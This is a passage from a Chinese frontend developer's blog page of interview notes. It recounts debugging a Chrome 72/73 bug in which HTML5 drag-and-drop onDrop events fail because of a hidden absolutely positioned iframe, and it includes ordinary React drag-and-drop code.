<!DOCTYPE html>
<html lang="zh-CN" dir="ltr">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1">
    <title>前端知识点之项目篇 | Nuobel</title>
    <meta name="description" content="Nuobel 诺贝尔的源泉">
    <link rel="preload stylesheet" href="/assets/style.6550a0c8.css" as="style">
    <link rel="modulepreload" href="/assets/app.6facf8ba.js">
    <link rel="modulepreload" href="/assets/blog_interviews_project-for-frontend-interview-questions-collection.md.3ac3f621.lean.js">
    
    <meta name="theme-color" content="#3c8772">
  <script>var _hmt=_hmt||[];(function(){var e=document.createElement("script");e.src="https://hm.baidu.com/hm.js?b812ad2761f4f77a87ce9b80c0cae4a0";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})();</script>
  <script id="check-dark-light">(()=>{const e=localStorage.getItem("vitepress-theme-appearance")||"",a=window.matchMedia("(prefers-color-scheme: dark)").matches;(!e||e==="auto"?a:e==="dark")&&document.documentElement.classList.add("dark")})();</script>
  </head>
  <body>
    <div id="app"><div class="Layout" data-v-93a960b4><!--[--><!--]--><!--[--><span tabindex="-1" data-v-151f2593></span><a href="#VPContent" class="VPSkipLink visually-hidden" data-v-151f2593> Skip to content </a><!--]--><!----><header class="VPNav" data-v-93a960b4 data-v-0fa0e57d><div class="VPNavBar has-sidebar" data-v-0fa0e57d data-v-be450ad9><div class="container" data-v-be450ad9><div class="title" data-v-be450ad9><div class="VPNavBarTitle has-sidebar" data-v-be450ad9 data-v-6d2fb2d9><a class="title" href="/" data-v-6d2fb2d9><!--[--><!--]--><!----><!--[-->Nuobel<!--]--><!--[--><!--]--></a></div></div><div class="content" data-v-be450ad9><div class="curtain" data-v-be450ad9></div><div class="content-body" data-v-be450ad9><!--[--><!--]--><!----><nav aria-labelledby="main-nav-aria-label" class="VPNavBarMenu menu" data-v-be450ad9 data-v-bdedfc22><span id="main-nav-aria-label" class="visually-hidden" data-v-bdedfc22>Main Navigation</span><!--[--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/blog/frontend/library.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->博客<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/blog/summary/20210806.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->日记周记<!--]--><!----></a><!--]--><!--[--><div class="VPFlyout VPNavBarMenuGroup" data-v-bdedfc22 data-v-96001b6b><button type="button" class="button" aria-haspopup="true" aria-expanded="false" data-v-96001b6b><span class="text" data-v-96001b6b><!----> 读书笔记 <svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="text-icon" data-v-96001b6b><path d="M12,16c-0.3,0-0.5-0.1-0.7-0.3l-6-6c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l5.3,5.3l5.3-5.3c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-6,6C12.5,15.9,12.3,16,12,16z"></path></svg></span></button><div class="menu" data-v-96001b6b><div class="VPMenu" data-v-96001b6b data-v-e7ea1737><div class="items" data-v-e7ea1737><!--[--><!--[--><div class="VPMenuGroup" data-v-e7ea1737 data-v-b66affaf><p class="title" data-v-b66affaf>前端技术</p><!--[--><!--[--><div class="VPMenuLink" data-v-b66affaf data-v-a5bbb52c><a class="VPLink link" href="/blog/svg/rumen.html" data-v-a5bbb52c data-v-30c06bd3><!--[-->SVG基础入门<!--]--><!----></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-b66affaf data-v-a5bbb52c><a class="VPLink link" href="/blog/readingNotes/browserPrinciple.html" data-v-a5bbb52c data-v-30c06bd3><!--[-->浏览器工作原理与实践<!--]--><!----></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-b66affaf data-v-a5bbb52c><a class="VPLink link" href="/blog/readingNotes/reactAndNodeJS.html" data-v-a5bbb52c data-v-30c06bd3><!--[-->react+Node.js开发实战<!--]--><!----></a></div><!--]--><!--[--><div class="VPMenuLink" data-v-b66affaf data-v-a5bbb52c><a class="VPLink link" href="/blog/readingNotes/jsgc4.html" data-v-a5bbb52c data-v-30c06bd3><!--[-->javascript高级程序设计第4版<!--]--><!----></a></div><!--]--><!--]--></div><!--]--><!--]--></div><!--[--><!--]--></div></div></div><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink active" href="/blog/interviews/" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->面试<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/photograph/home.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->摄影<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/english/plan.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->英语<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/wemedia/what.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->自媒体<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/life/index.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->生活<!--]--><!----></a><!--]--><!--[--><a class="VPLink link VPNavBarMenuLink" href="/about/me.html" data-v-bdedfc22 data-v-95f5d58b data-v-30c06bd3><!--[-->关于 <!--]--><!----></a><!--]--><!--]--></nav><!----><div class="VPNavBarAppearance appearance" data-v-be450ad9 data-v-da3f667a><button class="VPSwitch VPSwitchAppearance" type="button" role="switch" aria-label="toggle dark mode" aria-checked="false" data-v-da3f667a data-v-0d529b6d data-v-f3c41672><span class="check" data-v-f3c41672><span class="icon" data-v-f3c41672><!--[--><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="sun" data-v-0d529b6d><path d="M12,18c-3.3,0-6-2.7-6-6s2.7-6,6-6s6,2.7,6,6S15.3,18,12,18zM12,8c-2.2,0-4,1.8-4,4c0,2.2,1.8,4,4,4c2.2,0,4-1.8,4-4C16,9.8,14.2,8,12,8z"></path><path d="M12,4c-0.6,0-1-0.4-1-1V1c0-0.6,0.4-1,1-1s1,0.4,1,1v2C13,3.6,12.6,4,12,4z"></path><path d="M12,24c-0.6,0-1-0.4-1-1v-2c0-0.6,0.4-1,1-1s1,0.4,1,1v2C13,23.6,12.6,24,12,24z"></path><path d="M5.6,6.6c-0.3,0-0.5-0.1-0.7-0.3L3.5,4.9c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l1.4,1.4c0.4,0.4,0.4,1,0,1.4C6.2,6.5,5.9,6.6,5.6,6.6z"></path><path d="M19.8,20.8c-0.3,0-0.5-0.1-0.7-0.3l-1.4-1.4c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l1.4,1.4c0.4,0.4,0.4,1,0,1.4C20.3,20.7,20,20.8,19.8,20.8z"></path><path d="M3,13H1c-0.6,0-1-0.4-1-1s0.4-1,1-1h2c0.6,0,1,0.4,1,1S3.6,13,3,13z"></path><path d="M23,13h-2c-0.6,0-1-0.4-1-1s0.4-1,1-1h2c0.6,0,1,0.4,1,1S23.6,13,23,13z"></path><path d="M4.2,20.8c-0.3,0-0.5-0.1-0.7-0.3c-0.4-0.4-0.4-1,0-1.4l1.4-1.4c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-1.4,1.4C4.7,20.7,4.5,20.8,4.2,20.8z"></path><path d="M18.4,6.6c-0.3,0-0.5-0.1-0.7-0.3c-0.4-0.4-0.4-1,0-1.4l1.4-1.4c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-1.4,1.4C18.9,6.5,18.6,6.6,18.4,6.6z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="moon" data-v-0d529b6d><path d="M12.1,22c-0.3,0-0.6,0-0.9,0c-5.5-0.5-9.5-5.4-9-10.9c0.4-4.8,4.2-8.6,9-9c0.4,0,0.8,0.2,1,0.5c0.2,0.3,0.2,0.8-0.1,1.1c-2,2.7-1.4,6.4,1.3,8.4c2.1,1.6,5,1.6,7.1,0c0.3-0.2,0.7-0.3,1.1-0.1c0.3,0.2,0.5,0.6,0.5,1c-0.2,2.7-1.5,5.1-3.6,6.8C16.6,21.2,14.4,22,12.1,22zM9.3,4.4c-2.9,1-5,3.6-5.2,6.8c-0.4,4.4,2.8,8.3,7.2,8.7c2.1,0.2,4.2-0.4,5.8-1.8c1.1-0.9,1.9-2.1,2.4-3.4c-2.5,0.9-5.3,0.5-7.5-1.1C9.2,11.4,8.1,7.7,9.3,4.4z"></path></svg><!--]--></span></span></button></div><!----><div class="VPFlyout VPNavBarExtra extra" data-v-be450ad9 data-v-66bb1f24 data-v-96001b6b><button type="button" class="button" aria-haspopup="true" aria-expanded="false" aria-label="extra navigation" data-v-96001b6b><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="icon" data-v-96001b6b><circle cx="12" cy="12" r="2"></circle><circle cx="19" cy="12" r="2"></circle><circle cx="5" cy="12" r="2"></circle></svg></button><div class="menu" data-v-96001b6b><div class="VPMenu" data-v-96001b6b data-v-e7ea1737><!----><!--[--><!--[--><!----><div class="group" data-v-66bb1f24><div class="item appearance" data-v-66bb1f24><p class="label" data-v-66bb1f24>Appearance</p><div class="appearance-action" data-v-66bb1f24><button class="VPSwitch VPSwitchAppearance" type="button" role="switch" aria-label="toggle dark mode" aria-checked="false" data-v-66bb1f24 data-v-0d529b6d data-v-f3c41672><span class="check" data-v-f3c41672><span class="icon" data-v-f3c41672><!--[--><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="sun" data-v-0d529b6d><path d="M12,18c-3.3,0-6-2.7-6-6s2.7-6,6-6s6,2.7,6,6S15.3,18,12,18zM12,8c-2.2,0-4,1.8-4,4c0,2.2,1.8,4,4,4c2.2,0,4-1.8,4-4C16,9.8,14.2,8,12,8z"></path><path d="M12,4c-0.6,0-1-0.4-1-1V1c0-0.6,0.4-1,1-1s1,0.4,1,1v2C13,3.6,12.6,4,12,4z"></path><path d="M12,24c-0.6,0-1-0.4-1-1v-2c0-0.6,0.4-1,1-1s1,0.4,1,1v2C13,23.6,12.6,24,12,24z"></path><path d="M5.6,6.6c-0.3,0-0.5-0.1-0.7-0.3L3.5,4.9c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l1.4,1.4c0.4,0.4,0.4,1,0,1.4C6.2,6.5,5.9,6.6,5.6,6.6z"></path><path d="M19.8,20.8c-0.3,0-0.5-0.1-0.7-0.3l-1.4-1.4c-0.4-0.4-0.4-1,0-1.4s1-0.4,1.4,0l1.4,1.4c0.4,0.4,0.4,1,0,1.4C20.3,20.7,20,20.8,19.8,20.8z"></path><path d="M3,13H1c-0.6,0-1-0.4-1-1s0.4-1,1-1h2c0.6,0,1,0.4,1,1S3.6,13,3,13z"></path><path d="M23,13h-2c-0.6,0-1-0.4-1-1s0.4-1,1-1h2c0.6,0,1,0.4,1,1S23.6,13,23,13z"></path><path d="M4.2,20.8c-0.3,0-0.5-0.1-0.7-0.3c-0.4-0.4-0.4-1,0-1.4l1.4-1.4c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-1.4,1.4C4.7,20.7,4.5,20.8,4.2,20.8z"></path><path d="M18.4,6.6c-0.3,0-0.5-0.1-0.7-0.3c-0.4-0.4-0.4-1,0-1.4l1.4-1.4c0.4-0.4,1-0.4,1.4,0s0.4,1,0,1.4l-1.4,1.4C18.9,6.5,18.6,6.6,18.4,6.6z"></path></svg><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="moon" data-v-0d529b6d><path d="M12.1,22c-0.3,0-0.6,0-0.9,0c-5.5-0.5-9.5-5.4-9-10.9c0.4-4.8,4.2-8.6,9-9c0.4,0,0.8,0.2,1,0.5c0.2,0.3,0.2,0.8-0.1,1.1c-2,2.7-1.4,6.4,1.3,8.4c2.1,1.6,5,1.6,7.1,0c0.3-0.2,0.7-0.3,1.1-0.1c0.3,0.2,0.5,0.6,0.5,1c-0.2,2.7-1.5,5.1-3.6,6.8C16.6,21.2,14.4,22,12.1,22zM9.3,4.4c-2.9,1-5,3.6-5.2,6.8c-0.4,4.4,2.8,8.3,7.2,8.7c2.1,0.2,4.2-0.4,5.8-1.8c1.1-0.9,1.9-2.1,2.4-3.4c-2.5,0.9-5.3,0.5-7.5-1.1C9.2,11.4,8.1,7.7,9.3,4.4z"></path></svg><!--]--></span></span></button></div></div></div><!----><!--]--><!--]--></div></div></div><!--[--><!--]--><button type="button" class="VPNavBarHamburger hamburger" aria-label="mobile navigation" aria-expanded="false" aria-controls="VPNavScreen" data-v-be450ad9 data-v-e5dd9c1c><span class="container" data-v-e5dd9c1c><span class="top" data-v-e5dd9c1c></span><span class="middle" data-v-e5dd9c1c></span><span class="bottom" data-v-e5dd9c1c></span></span></button></div></div></div></div><!----></header><div class="VPLocalNav" data-v-93a960b4 data-v-2817d72e><button class="menu" aria-expanded="false" aria-controls="VPSidebarNav" data-v-2817d72e><svg xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false" viewbox="0 0 24 24" class="menu-icon" data-v-2817d72e><path d="M17,11H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h14c0.6,0,1,0.4,1,1S17.6,11,17,11z"></path><path d="M21,7H3C2.4,7,2,6.6,2,6s0.4-1,1-1h18c0.6,0,1,0.4,1,1S21.6,7,21,7z"></path><path d="M21,15H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h18c0.6,0,1,0.4,1,1S21.6,15,21,15z"></path><path d="M17,19H3c-0.6,0-1-0.4-1-1s0.4-1,1-1h14c0.6,0,1,0.4,1,1S17.6,19,17,19z"></path></svg><span class="menu-text" data-v-2817d72e>菜单</span></button><a class="top-link" href="#" data-v-2817d72e>回到顶部</a></div><aside class="VPSidebar" data-v-93a960b4 data-v-c79ccefa><div class="curtain" data-v-c79ccefa></div><nav class="nav" id="VPSidebarNav" aria-labelledby="sidebar-aria-label" tabindex="-1" data-v-c79ccefa><span class="visually-hidden" id="sidebar-aria-label" data-v-c79ccefa> Sidebar Navigation </span><!--[--><!--]--><!--[--><div class="group" data-v-c79ccefa><section class="VPSidebarItem level-0 has-active" data-v-c79ccefa data-v-b05232f3><!----><div class="items" data-v-b05232f3><!--[--><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/html-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之html篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/css-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之css篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/javascript-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之JavaScript篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/react-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之react篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/http-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之http篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/babel-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之babel篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/webpack-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之webpack篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link is-active has-active" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/project-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之项目篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/safe-for-frontend-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端知识点之安全篇</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/pingtouge-interview-questions-collection.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>前端面试题集锦之平头哥外包</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/mian-shi-xin-de.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>面试心得体会</p><!--]--><!----></a><!----></div><!----></div><div class="VPSidebarItem level-1 is-link" data-v-b05232f3 data-v-b05232f3><div class="item" data-v-b05232f3><div class="indicator" data-v-b05232f3></div><a class="VPLink link link" href="/blog/interviews/algorithm-javascript.html" data-v-b05232f3 data-v-30c06bd3><!--[--><p class="text" data-v-b05232f3>算法之javascript描述</p><!--]--><!----></a><!----></div><!----></div><!--]--></div></section></div><!--]--><!--[--><!--]--></nav></aside><div class="VPContent has-sidebar" id="VPContent" data-v-93a960b4 data-v-0bd490fb><div class="VPDoc has-sidebar has-aside" data-v-0bd490fb data-v-c5936a1e><div class="container" data-v-c5936a1e><div class="aside" data-v-c5936a1e><div class="aside-curtain" data-v-c5936a1e></div><div class="aside-container" data-v-c5936a1e><div class="aside-content" data-v-c5936a1e><div class="VPDocAside" data-v-c5936a1e data-v-cdc66372><!--[--><!--]--><!--[--><!--]--><div class="VPDocAsideOutline" data-v-cdc66372 data-v-5dd9d5f6><div class="content" data-v-5dd9d5f6><div class="outline-marker" data-v-5dd9d5f6></div><div class="outline-title" data-v-5dd9d5f6>本页目录</div><nav aria-labelledby="doc-outline-aria-label" data-v-5dd9d5f6><span class="visually-hidden" id="doc-outline-aria-label" data-v-5dd9d5f6> Table of Contents for current page </span><ul class="root" data-v-5dd9d5f6 data-v-1188541a><!--[--><!--]--></ul></nav></div></div><!--[--><!--]--><div class="spacer" data-v-cdc66372></div><!--[--><!--]--><!----><!--[--><!--]--><!--[--><!--]--></div></div></div></div><div class="content" data-v-c5936a1e><div class="content-container" data-v-c5936a1e><!--[--><!--]--><main class="main" data-v-c5936a1e><div style="position:relative;" class="vp-doc _blog_interviews_project-for-frontend-interview-questions-collection" data-v-c5936a1e><div><p>这篇文章收集和整理一些前端 项目、业务和实战 相关的知识点</p><p>需要时随时可以复习查阅下</p><p>遇到不错的就会更新上来，保持不间断更新</p><h2 id="你在项目中遇到的难点或问题" tabindex="-1">你在项目中遇到的难点或问题 <a class="header-anchor" href="#你在项目中遇到的难点或问题" aria-hidden="true">#</a></h2><h4 id="chrome-版本-72-和-73-拖拽-bug" tabindex="-1">chrome 版本 72 和 73 拖拽 bug <a class="header-anchor" href="#chrome-版本-72-和-73-拖拽-bug" aria-hidden="true">#</a></h4><h5 id="遇到什么问题" tabindex="-1">遇到什么问题 <a class="header-anchor" href="#遇到什么问题" aria-hidden="true">#</a></h5><p>我们这个平台通过 iframe 嵌入了另一个系统，通过切换按钮切换，iframe 使用绝对定位来和当前平台进行切换显示。</p><p>有一期需求，需要开发一个拖拽放置的功能，拖拽菜单进行 app 端菜单的布局，当我使用 html5 的拖拽 api 时，发现目标元素<code>onDrop</code>事件始终不执行，百思不得其解。</p><p>最开始我怀疑是不是我哪里写错了，经过对照<code>MDN文档</code>和之前的拖拽方法用例，确定写法没有问题。</p><p>在拖拽元素上，定义如下：</p><div class="language-jsx"><button title="Copy Code" class="copy"></button><span class="lang">jsx</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#89DDFF;">;&lt;</span><span style="color:#A6ACCD;">div draggable</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;">draggable</span><span style="color:#89DDFF;">}</span><span style="color:#A6ACCD;"> onDragStart</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;">onDragStart</span><span style="color:#89DDFF;">}&gt;&lt;/</span><span style="color:#A6ACCD;">div</span><span style="color:#89DDFF;">&gt;</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">onDragStart</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">event</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">event</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">dataTransfer</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">setData</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">data</span><span style="color:#89DDFF;">&quot;</span><span style="color:#89DDFF;">,</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">JSON</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">stringify</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">data</span><span style="color:#F07178;">))</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div><p>在目标元素上，定义如下：</p><div class="language-jsx"><button title="Copy Code" class="copy"></button><span class="lang">jsx</span><pre class="shiki material-theme-palenight" tabindex="0"><code><span class="line"><span style="color:#89DDFF;">;&lt;</span><span style="color:#A6ACCD;">p</span></span>
<span class="line"><span style="color:#A6ACCD;">  className</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;">style.backGridItemBorder</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  onDragOver</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;font-style:italic;">event</span><span style="color:#A6ACCD;"> </span><span style="color:#C792EA;">=&gt;</span><span style="color:#A6ACCD;"> event</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">preventDefault</span><span style="color:#A6ACCD;">()</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  onDragEnter</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;">onDragEnter</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  onDragLeave</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;">onDragLeave</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#A6ACCD;">  onDrop</span><span style="color:#89DDFF;">={</span><span style="color:#A6ACCD;font-style:italic;">e</span><span style="color:#A6ACCD;"> </span><span style="color:#C792EA;">=&gt;</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">onDrop</span><span style="color:#A6ACCD;">(e)</span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">/&gt;</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">onDragEnter</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">e</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">e</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">preventDefault</span><span style="color:#F07178;">()</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">onDragLeave</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">e</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{}</span></span>
<span class="line"><span style="color:#C792EA;">function</span><span style="color:#A6ACCD;"> </span><span style="color:#82AAFF;">onDrop</span><span style="color:#89DDFF;">(</span><span style="color:#A6ACCD;font-style:italic;">e</span><span style="color:#89DDFF;">)</span><span style="color:#A6ACCD;"> </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#A6ACCD;">e</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">preventDefault</span><span style="color:#F07178;">()</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#C792EA;">const</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">data</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">e</span><span style="color:#89DDFF;">.</span><span style="color:#A6ACCD;">dataTransfer</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">getData</span><span style="color:#F07178;">(</span><span style="color:#89DDFF;">&quot;</span><span style="color:#C3E88D;">data</span><span style="color:#89DDFF;">&quot;</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;font-style:italic;">if</span><span style="color:#F07178;"> (</span><span style="color:#A6ACCD;">data</span><span style="color:#F07178;">) </span><span style="color:#89DDFF;">{</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#C792EA;">const</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">newData</span><span style="color:#F07178;"> </span><span style="color:#89DDFF;">=</span><span style="color:#F07178;"> </span><span style="color:#A6ACCD;">JSON</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">parse</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">data</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">    </span><span style="color:#A6ACCD;">console</span><span style="color:#89DDFF;">.</span><span style="color:#82AAFF;">log</span><span style="color:#F07178;">(</span><span style="color:#A6ACCD;">newData</span><span style="color:#F07178;">)</span></span>
<span class="line"><span style="color:#F07178;">  </span><span style="color:#89DDFF;">}</span></span>
<span class="line"><span style="color:#89DDFF;">}</span></span>
<span class="line"></span></code></pre></div><p>以上，<code>onDrop</code>事件怎么都不执行。</p><h5 id="继续查找问题" tabindex="-1">继续查找问题 <a class="header-anchor" href="#继续查找问题" aria-hidden="true">#</a></h5><p>我上百度和 google 搜索有没有人遇到同样的问题，有价值的信息几乎没有。</p><p>此时我有点怀疑是不是浏览器版本的缘故，开发我主要用的是<code>chrome 73</code>版本的，我电脑上也装了不少其它浏览器，我打开<code>火狐开发者v70版</code>，发现竟然拖拽功能正常！？</p><p>我又用<code>edge</code>试了试，也行！此时我有些确定是 chrome 的问题了，那么现在我主要确定是不是特定版本才会出现，我用 chrome 58 和 46 版本试了试，拖拽功能正常，用 80 版本试了试，正常！</p><p>好的，那现在我有疑问了，为什么只有 73 有问题？是只有 73 还是其它版本也有？如果 73 有 bug，有修复的办法吗？毕竟我们给客户的下载中心的 chrome 就有 73 的！必须得想法解决。</p><h5 id="解决问题" tabindex="-1">解决问题 <a class="header-anchor" href="#解决问题" aria-hidden="true">#</a></h5><p>想要解决问题，就需要动手不断去测试，因为我们的平台功能多、需求复杂，我想要尽快找到问题，就要排除其它可能的干扰因素。</p><p>我把那个页面除了拖拽功能的代码都给屏蔽，然后测试拖拽，也不行！</p><p>我又看了看页面，除了头部和左侧菜单等通用组件，也没有其它东西可影响了。</p><p>我单独开了一个的测试路由<code>/test</code>，这个页面更干净，没有通用的头部、左侧菜单和 iframe 嵌入。经测试，拖拽功能正常！</p><p>难道，头部和左侧菜单影响了我的拖拽？</p><p>继续，我把左侧菜单，屏蔽，测试拖拽任然无法使用，头部屏蔽，无法使用，还有个嵌入 iframe，屏蔽，可以使用！</p><p>好家伙，终于找到是谁影响了，就是这个页面下面的 iframe，虽然看不见，但容易忽略它的存在。</p><p>因为我们系统为了切换流畅性，iframe 都是前期加载好的，只是用绝对定位放在了底层。</p><p>继续试，我把 iframe 不用绝对定位放在底部，让它自然布局，拖拽功能正常，不断的测试，这时我确定了，当你的页面底部有 iframe 时，在 chrome73 